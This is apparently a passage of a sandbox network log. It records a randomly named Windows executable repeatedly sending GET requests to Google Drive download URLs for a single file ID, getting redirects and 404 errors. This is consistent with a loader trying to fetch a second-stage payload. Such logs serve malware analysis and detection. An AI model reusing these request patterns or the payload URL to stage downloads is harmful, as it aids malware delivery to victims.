2025-01-10 14:40:13 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:13 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-DGzihbFqdxfLbcEku2JS7g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.7	52246	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:13 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:40:14 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5LbuqbSvEbqSLdGWvuLGqnxUjQ2BD2TuRfWPix9tryIF6dBEE8LZCj7rQ3YFnCboWOw9JWCOI Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:14 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'nonce-nwpEcFl54kIq_lOwwzg0Qw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:40:14 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 36 69 59 6c 39 34 45 62 46 4f 50 75 39 4f 34 71 31 31 51 34 49 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="6iYl94EbFOPu9O4q11Q4Ig">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.7	52247	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:15 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:40:15 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:15 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-Go-Ad2h2cNu1xzGl910-uw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.7	52248	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:16 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:40:16 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5Gr6TEF7uEmVvbqw8DUGGuffu-VDXaxs5Ue-FiRjd3fE5aMZ3iGD9kA45FIKsNiU9tgWvC0Ks Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:16 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-JbJgZJ1SAzmhQgKqq-3dLg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:40:16 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 62 68 4c 45 4a 33 44 75 31 4b 7a 41 4c 77 41 47 35 50 4d 5f 41 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="bhLEJ3Du1KzALwAG5PM_Aw">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.7	52249	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:17 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:40:17 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:17 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-cIjSTrM-zqqvMz3jUQ3vRg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.7	52250	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:18 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:40:19 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgTf4FXDoalZDwr04025LGVKQSPmSk6BnRYaaRJULhZDYftohSGpwBVeGGd8FeQUe1xD Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:19 GMT Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'nonce-AGraDgHtaRFvNcblfixvfw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:40:19 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 51 35 4a 2d 5a 73 70 4d 4e 61 78 65 6a 59 41 63 45 36 6a 69 6a 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Q5J-ZspMNaxejYAcE6jijQ">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.7	52251	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:19 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:40:20 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:20 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce--DbxiLZO1TKN-q586Kkxgg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.7	52252	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:20 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:40:21 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgSL1uz_VrH_36FkOgcSfjl9mZ7z2oiNphIP-6Mh5y_yueGT42ql66dK6WLcIM5bUuR078VjD24 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:21 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-S9SwmJFYe-CTa6FZOAk84g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:40:21 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 48 75 31 4a 68 72 4b 72 4e 56 6f 49 67 71 79 66 5f 51 5f 37 49 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Hu1JhrKrNVoIgqyf_Q_7IQ">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.7	52253	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:22 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
